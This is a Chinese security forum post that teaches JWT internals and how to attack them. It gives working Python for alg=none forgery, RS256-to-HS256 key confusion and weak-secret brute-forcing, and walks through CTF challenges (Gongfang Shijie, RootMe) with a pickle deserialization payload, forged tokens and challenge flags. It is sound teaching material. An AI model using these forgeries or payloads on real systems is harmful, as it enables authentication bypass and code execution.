安全矩阵

 找回密码
 立即注册
搜索
查看: 3012|回复: 0

学习JWT,看这篇就够了!

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-11-5 15:46:34 | 显示全部楼层 |阅读模式
原文链接:学习JWT,看这篇就够了!

刷题的时候,看见一道题写着“kunkun应援团”,不仅有应援口号,而且竟然要集资11540买lv6?

带着对kunkun的爱注册了账号。去购物车翻找lv6的商品,由于页数过多,用了个小脚本,找到了lv6的商品,在181页。
脚本如下:

  1. from urllib import request
  2. url="http://220.249.52.133:47108/shop?page="
  3. for i in range(1,501):
  4.      r = request.urlopen(url+str(i))
  5.      if "lv6.png" in r.read().decode('utf-8'):
  6.          print(i)
  7.          break
  8.      else:
  9.          print("lv6 is not in page "+str(i))
复制代码



抓包,修改价格:

修改失败,提示操作失败。但发现有一次返回为302,并附带一个目录,访问后发现,只允许admin访问:

在包中发现,网站通过JWT进行身份验证。那便自己研究一下JWT吧。
1
JWY基础
搜索引擎介绍,JWT是Json Web Token的缩写,主要用于验证用户身份信息及跨域的身份验证。
而JWT一般是由三部分组成,并使用base64编码。
以下为完整的JWT认证信息:
  1. JWT=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IlRpbWUifQ.2YosC1XgEHYbLonkRpX49gi3Lqnr4dngsThwnBGvhwA

  2. eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9                   标头
  3. eyJ1c2VybmFtZSI6IlRpbWUifQ                             payload
  4. 2YosC1XgEHYbLonkRpX49gi3Lqnr4dngsThwnBGvhwA            签名
复制代码

                        Header(标头)
标头通常由两部分组成:令牌的类型和所使用的签名算法,例如HMACSHA256或RSA。
Header头部承载两部分信息,分别是声明类型+JWT和声明加密算法:

  1. header = '{
  2.         "alg":"HS256",
  3.         "typ":"JWT"
  4.         }'
复制代码

使用base64URL编码,形成JWT的第一部分。
Payload(有效载荷)
主体信息(有效载荷),其中包含声明,声明是有关实体(一般是用户)和其他数据的声明。索赔有以下三种类型:注册的,公共的和私人权利。
已注册的权利要求:这是一组非强制性的但建议使用的预定义权利要求,以提供一组有用的可互操作的权利要求。其中一些是:iss(主题), exp(到期时间), sub(主题), aud(受众)等。
公开声明:使用JWT的人员可以随意定义这些声明。但为避免冲突,应在IANA JSON Web令牌注册表中定义它们,或将其定义为包含抗冲突名称空间的URI。
私人权利:是指使用它们同意,并且不是当事人之间的,建立共享信息的自定义声明注册,或者公众的权利要求。
官方规定的七个字段(不强制要求选择,也可以自定义字段):
  1. –          iss (issuer):签发人
  2. –          exp (expiration time):过期时间
  3. –          sub (subject):主题
  4. –          aud (audience):受众
  5. –          nbf (Not Before):生效时间
  6. –          iat (Issued At):签发时间
  7. –          jti (JWT ID):编号


  8. payload = '{
  9.      "loggedInAs":"admin",
  10.      "iat":1422779638
  11.      }'//iat表示令牌生成的时间
复制代码



使用base64URL编码,形成JWT的第二部分。
Signature(签名)
签名,要创建签名部分,必须获取编码的标头、编码的有效载荷、机密、标头中指定的算法,并对其进行签名。
如果要使用HMAC SHA256算法,则将通过以下方式创建签名:
  1. HMACSHA256(
  2. #第一部分
  3. base64UrlEncode(header) + "." +
  4. #第二部分
  5. base64UrlEncode(payload),
  6. #秘钥
  7. secret)
复制代码



使用base64Url编码后组成第三部分。

最后将第一部分、第二部分、第三部分使用“.”连接组成一段完整的JWT令牌。
Python生成Jwt Web Token:
  1. import time
  2. import jwt

  3. #头信息
  4. head = {
  5.      "alg":"HS256",
  6.      "typ":"jwt"
  7. }
  8. #payload
  9. payloda = {
  10.      "iat":time.time(),
  11.      "name":"admin"
  12. }
  13. #调用jwt库,生成json web token
  14. #                         秘钥      加密算法
  15. jwt_token = jwt.encode(payload,"1121",algorithm="HS256",headers=head).decode('ascii')
  16. #输出
  17. print(jwt_token)
复制代码

生成的token:“eyJ0eXAiOiJqd3QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE1OTUwNzM1NDguNjcyNzk2LCJuYW1lIjoiYWRtaW4ifQ.m_f32qmeuFTCugdPBfMA1jGmpkXWoI3Vjt-sY30_xrw”
Python解密JWT:
  1. import jwt

  2. #需要解码的token
  3. jwt_token = "eyJ0eXAiOiJqd3QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE1OTUwNzM1NDguNjcyNzk2LCJuYW1lIjoiYWRtaW4ifQ.m_f32qmeuFTCugdPBfMA1jGmpkXWoI3Vjt-sY30_xrw"

  4. data = None

  5. try:
  6.      #                        秘钥
  7.      data = jwt.decode(jwt_token,"1121")
  8. except Exception as e:
  9.      print(e)

  10. print(data)
复制代码


解密内容:

{'iat': 1595073548.672796, 'name': 'admin'}
2
攻击手法
敏感信息泄露
因header和payload部分是使用可逆的base64方法编码,所以只要获取到令牌,就可以将前两个部分解密后读取内容。
解密方法:
  1. Linux base64
  2.      echo eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9 | base64 -d
  3.         {"typ":"JWT","alg":"HS256"}
复制代码



浏览器JavaScript控制台:
  1. atob("eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9")
  2.         "{"typ":"JWT","alg":"HS256"}"

  3. Powershell
  4.      [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String
  5.      ("eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9"))
  6.         {"typ":"JWT","alg":"HS256"}

  7. Python
  8.      import base64
  9.      print(base64.b64decode('eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9'))
  10.         {"typ":"JWT","alg":"HS256"}
复制代码

修改签名算法(none)JWT签名算法可确保JWT在传输过程中不会被恶意用户所篡改,但头部的alg字段可以改为none,若服务器支持签名算法为none,服务器会在JWT中删除相应的签名数据(这时,JWT就会只含有头部 + ‘.’ + 有效载荷 + ‘.’),然后将其提交给服务器。
源码:
https://github.com/Sjord/jwtdemo

dmeo:
http://demo.sjoerdlangkemper.nl/jwtdemo/hs256.php

发送上面的JWT令牌:

将alg修改为none:

  1. import time
  2. import jwt

  3. #头信息
  4. head = {
  5.      "alg":"none",
  6.      "typ":"jwt"
  7. }
  8. #payload
  9. payload = {
  10.      "iat":time.time(),
  11.      "name":"time"
  12. }
  13. #调用jwt库,生成json web token
  14. jwt_token = jwt.encode(payload,"",algorithm="none",headers=head).decode('ascii')
  15. #输出
  16. print(jwt_token)

  17. #生成令牌
  18. #eyJ0eXAiOiJqd3QiLCJhbGciOiJub25lIn0.eyJpYXQiOjE1OTUyMjgwNzEuNjk0MjQ1LCJuYW1lIjoidGltZSJ9.
复制代码



修改RS256算法为HS256:
HS256算法使用密钥为所有消息进行签名和验证,而RS256算法则使用私钥对消息进行签名并使用公钥进行身份验证。
如果将算法从RS256改为HS256,则后端代码将使用公钥作为密钥,然后使用HS256算法验证签名。
由于攻击者有时可以获取公钥,因此,攻击者可以将头部中的算法修改为HS256,然后使用RSA公钥对数据进行签名。这样的话,后端代码使用RSA公钥+HS256算法进行签名验证。
demo:
http://demo.sjoerdlangkemper.nl/jwtdemo/rs256.php

公钥:
http://demo.sjoerdlangkemper.nl/jwtdemo/public.pem

获取网站公钥,将算法改为HS256然后使用泄露的公钥进行签名,服务器会使用HS256和泄露的公钥进行验证。
  1. import jwt

  2. key = [
  3.      "-----BEGIN PUBLIC KEY-----",
  4.      "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAqi8TnuQBGXOGx/Lfn4JF",
  5.      "NYOH2V1qemfs83stWc1ZBQFCQAZmUr/sgbPypYzy229pFl6bGeqpiRHrSufHug7c",
  6.      "1LCyalyUEP+OzeqbEhSSuUss/XyfzybIusbqIDEQJ+Yex3CdgwC/hAF3xptV/2t+",
  7.      "H6y0Gdh1weVKRM8+QaeWUxMGOgzJYAlUcRAP5dRkEOUtSKHBFOFhEwNBXrfLd76f",
  8.      "ZXPNgyN0TzNLQjPQOy/tJ/VFq8CQGE4/K5ElRSDlj4kswxonWXYAUVxnqRN1LGHw",
  9.      "2G5QRE2D13sKHCC8ZrZXJzj67Hrq5h2SADKzVzhA8AW3WZlPLrlFT3t1+iZ6m+aF",
  10.      "KwIDAQAB",
  11.      "-----END PUBLIC KEY-----"
  12. ]

  13. key = "\n" . join(key)

  14. jwt_token = jwt.encode({"data":"time"},algorithm="HS256",key=key+"\n").decode("ascii")

  15. print(jwt_token)

  16. #jwt:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoidGltZSJ9.CAyhfU2pH5L1Ua-bferA4XGvcpwOjxUpG6PkiQ5GYBQ


复制代码



破解HS256密钥:
如果HS256密钥的强度较弱的话,攻击者可以直接通过蛮力攻击方式来破解密钥,例如将密钥字符串用作PyJWT库示例代码中的密钥的时候,情况就是如此。
​​
安装pyjwt:

pip3 install pyjwt
爆破脚本:
https://github.com/Devllench/jwtbrute

字典:
    “https://raw.githubusercontent.co ... ist-top-1000000.txt

命令格式:
  1. python jwtbrute.py   回车
  2. input token: jwt  令牌
  3. input wordlist:  字典
复制代码




3
攻防世界9分题-bilibili
了解了一波JWT,继续完成我们的kunkun集资应援。
之前我们获得了一串JWT加密信息如下:
“JWT=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IlRpbWUifQ.2YosC1XgEHYbLonkRpX49gi3Lqnr4dngsThwnBGvhwA”
去jwt.io解密,将username中的Time改成admin,重新生成密文:

报错500,失败,使用py脚本尝试爆破秘钥:

使用上面给出的脚本即可,成功爆出秘钥为1Kun:

在jwt.io重新生成秘钥后,替换当前JWT密文:

替换重新生成的JWT后,成功访问到admin页面:

一番查找后发现网页源代码中有网站源码:

下载后发现是使用python编写的网站源码。莫不是要做python的代码审计?


9分题果然不是我这菜鸟能做出来的,只能祭出Writeup大法,看看python是如何审计的。

看一看wp,发现大佬直接扔出来了一个脚本用来跑flag。
flag脚本:
  1. import pickle
  2. import urllib
  3. class payload(object):
  4.      def __reduce__(self):
  5.         return (eval, ("open('/flag.txt','r').read()",))

  6. a = pickle.dumps(payload())
  7. a= urllib.quote(a)
  8. print a
复制代码



运行后得到:
“c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.”

成功!但大家别想知道,我解出这道题用了多久!

4
JWT CTF练习
​​
练习地址:
https://www.root-me.org/?page=re ... r&recherche=jwt
JSON Web Token (JWT) - Introduction
题目:

http://challenge01.root-me.org/web-serveur/ch58/

尝试登陆抓包,没有获取到任何有用信息,发现登陆框有个黄色的login as guest,点击抓包放包后,返回一串JWT令牌信息:

“eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Imd1ZXN0In0.OnuZnYMdetcg7AWGV6WURn8CFSfas6AQej4V9M13nsk”
去jwt.io网站解密:

发现有效载荷的用户是guest,所以尝试改成admin。但发现,如果修改用户为admin,需要重新生成令牌。
而现在不知道密钥,可以尝试爆破,看看是否能爆破出来。如果没有爆出来,就有点难受了:

尝试修改签名算法,由于jwt.io不支持none算法,所以使用python生成:
  1. import jwt
  2. jwt_token = jwt.encode({"username":"admin"}, algorithm=None,key=None).decode("ascii")
  3. print(jwt_token)

  4. #eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImFkbWluIn0.
复制代码




flag : S1gn4tuR3_v3r1f1c4t10N_1S_1MP0Rt4n7
RootMe的JSON Web Token (JWT) - Weak secret
题目:
http://challenge01.root-me.org/web-serveur/ch59/hello
打开网站后得到一段提示:

网翻后:

先访问/token:

得到令牌:
“eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJyb2xlIjoiZ3Vlc3QifQ.4kBPNf7Y6BrtP-Y3A-vQXPY9jAh_d0E6L4IUjL65CvmEjgdTZyr2ag-TM-glH6EYKGgO3dBYbhblaPQsbeClcw”
然后使用post方式访问/admin:

添加Authorization: Bearer YOURTOKEN字段,在请求中添加获取到的令牌:

“Authorization:Bearer  eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJyb2xlIjoiZ3Vlc3QifQ.4kBPNf7Y6BrtP-Y3A-vQXPY9jAh_d0E6L4IUjL65CvmEjgdTZyr2ag-TM-glH6EYKGgO3dBYbhblaPQsbeClcw”

提示爆破:

成功!key是lol。
然后去jwt.io生成令牌:

“eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJyb2xlIjoiYWRtaW4ifQ.y9GHxQbH70x_S8F_VPAjra_S-nQ9MsRnuvwWFGoIyKXKk8xCcMpYljN190KcV1qV6qLFTNrvg4Gwyv29OCjAWA”

flag: PleaseUseAStrongSecretNextTime
RootMe JSON Web Token (JWT) - Public key
题目:
http://challenge01.root-me.org/web-serveur/ch60/


首先查看key,似乎很熟悉,仔细一看,正是我们刚刚说过的修改RS256为HS256算法。直接上脚本:

​​
然后使用post方式访问/auth:

提示需要添加username字段。
成功获取token:

“eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6InRpbWUifQ.AWLoeQgDwlTs5q2_32D0rjfKjDJXmUo6r31VVireLpuWaIo3y_xJFHXAGeDhP9l2f1TSDDLO-5o-vIp3Fb9zacQUIw4ZdBcFxSobbHHYxsxuaMhH4kVsgWU1Pg5DRAgufA3c-evuq54byYWWRMgod4P-icMZxkJ1vLxCget5xLIE62qyFBkG4nK6oszmg_wkzK-O5PMUtC_eitO9PAVdR-2JcSSV8tSITEmoBzAK90RGqKQ1sBbm29xtStkZr2TsNo1NT2lrnzaROCO46uQEC7RWbA6kf37oZOF2JOVKQLTnHsobXKPrtKs7MvLwjXkJ1rM3mpvv9ZAE2ePJ7ByBpQ”
RS256算法:

脚本:

  1. import jwt

  2. key = [
  3.          "-----BEGIN PUBLIC KEY-----",
  4.          "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAwInLJZXYC/eZ5BbRDrd0",
  5.          "+IKB7Hc9u/tjZFVGmS6aVW4MSEzkgdJYx5tM9yEc4XGdKy2JJVmZCogya4xvYdC7",
  6.          "RDqsZLPYlBIoG7KAWjJA6VR4YBcv+2TyamSiYVgXC9p6oe4kvg23lfGB74i8lPZ3",
  7.          "13Er2Ohj1L1mEBEl1lMDiCHTBCOyCWnsnZJcUWeZcUxCJBimF4RNS5x/H3cs/uVg",
  8.          "A+f5XM0XW6Fp6WIN/wZmIwBE58LWRM3LRZAY2r+JQ2Zp47tmNkr3Z5Ifk2hLKbjx",
  9.          "VOjVi86qKnloXfW5Y18M2qFWnwIWvtIJBFN4og8Ms4XVOB9HudyUiblkywZzSq9D",
  10.          "NwIDAQAB",
  11.          "-----END PUBLIC KEY-----"
  12. ]

  13. key = "\n" . join(key)

  14. jwt_token = jwt.encode({"username":"admin"},key=key+"\n",algorithm="HS256").decode("ascii")
  15. print(jwt_token)

  16. #eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.qZzbNQNfGLSyuvwhb1mKJhBnr3tFHJriIMuxzNEYoG0
复制代码


PS:如果报错,使用如下命令解决

卸载pyjwt:

pip uninstall pyjwt
安装旧版本pyjwt:

pip install pyjwt==0.4.3
访问/admin目录使用post方式添加内容到cookie中
“Authorization:Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.qZzbNQNfGLSyuvwhb1mKJhBnr3tFHJriIMuxzNEYoG0”

flag : HardcodeYourAlgoBro


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-22 23:12 , Processed in 0.014235 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表